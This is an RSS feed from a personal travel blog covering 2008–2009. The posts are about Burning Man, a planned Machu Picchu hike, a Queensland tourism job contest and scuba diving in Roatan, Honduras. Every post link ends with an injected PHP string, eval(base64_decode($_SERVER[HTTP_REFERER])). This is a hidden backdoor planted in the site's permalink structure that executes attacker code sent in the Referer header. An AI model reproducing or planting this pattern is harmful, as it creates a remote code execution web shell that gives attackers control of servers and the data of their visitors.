http://blog.chrissipe.com Chris' travels and such Mon, 21 Sep 2009 23:08:35 +0000 http://backend.userland.com/rss092 en Evolution (Burning Man time lapses) from Delrious on Vimeo. (love the pirate ship ride part of this video) and here are my photos http://blog.chrissipe.com/2009/09/21/this-is-kinda-how-it-looks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ So, I have an adventure coming up next week... Ever since I moved to the Bay Area 12 years ago, I've had friends who went to Burning Man.   The Maxham family, Kym, Rus and Mark, friends from back home were already heavy into it in 1997, as were my east band ... http://blog.chrissipe.com/2009/08/28/fiery-curveball/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The travel bug is nibbling again.  Plan # 1 has been wanting to hike Machu Piccu and exploring Peru.  However I'm kinda sick of traveling alone and in particular would like to do the 4 day hike with at least one friend.  Friends that have expressed interest have gradually flaked ... http://blog.chrissipe.com/2009/05/01/im-torn/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ But first things first.  I obviously didn't make the Top 50 (of 30,000 entries) to win the 6 month job in Australia.  Oh well, you can't win if you don't play.  Honestly, Australia is one of the last places on my list to go.  Don't get me wrong, I'd love ... http://blog.chrissipe.com/2009/03/26/getting-my-first-tatt-at-age-36-damn-im-old/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Ok, so for those that haven't heard, the tourism board of Queensland Australia has hosted a contest to win 6 months of 'The Best Job in the World'... as paid 'caretaker' of an island on the Great Barrier Reef.  Of course I had to apply!  They got waaay more entries ... http://blog.chrissipe.com/2009/02/22/vote-for-me/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I was determined to get my money's worth out of my dive vacation this time, to make ammends for my lame planning last time.  I did.  Bush, the Fed, and the treasury are trying to bankrupt us all anyway so might as well spend it while I got it right? 12 ... http://blog.chrissipe.com/2009/01/09/diving-in-roatan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Not as if anyone is noticing, but I've been too busy having fun or relaxing to blog.  Great days here.  Not a drop of rain since New Years Eve. more to come... http://blog.chrissipe.com/2009/01/06/good-times/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ About 6 or 7 years ago, I was walking somewhere in San Francisco, to work or home from work, on just an average day commuting.  This was long before my "days of more dedicated traveling" began.  Just going about my daily grind. This older, well dressed, asian man walked straight up ... http://blog.chrissipe.com/2009/01/01/randomness/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hurray for a new year.  Adios Bush!  I hope the door hits you on the way out, although the shoe dodge was pretty swift. I am ready for 08 to be done.  It's not been an easy one, although i am not going to complain about my life because all things ... http://blog.chrissipe.com/2009/01/01/feliz-ano-nuevo-bring-it/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Next up, New Years in Roatan, Honduras!  Some of the best diving on the second largest reef in the world, and just a few hours away (well kinda, two quick flights.)  Also, my first *actual* third world country.  Many websites and blogs I read encourage visitors to donate to various ... http://blog.chrissipe.com/2008/12/13/cant-sit-still/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/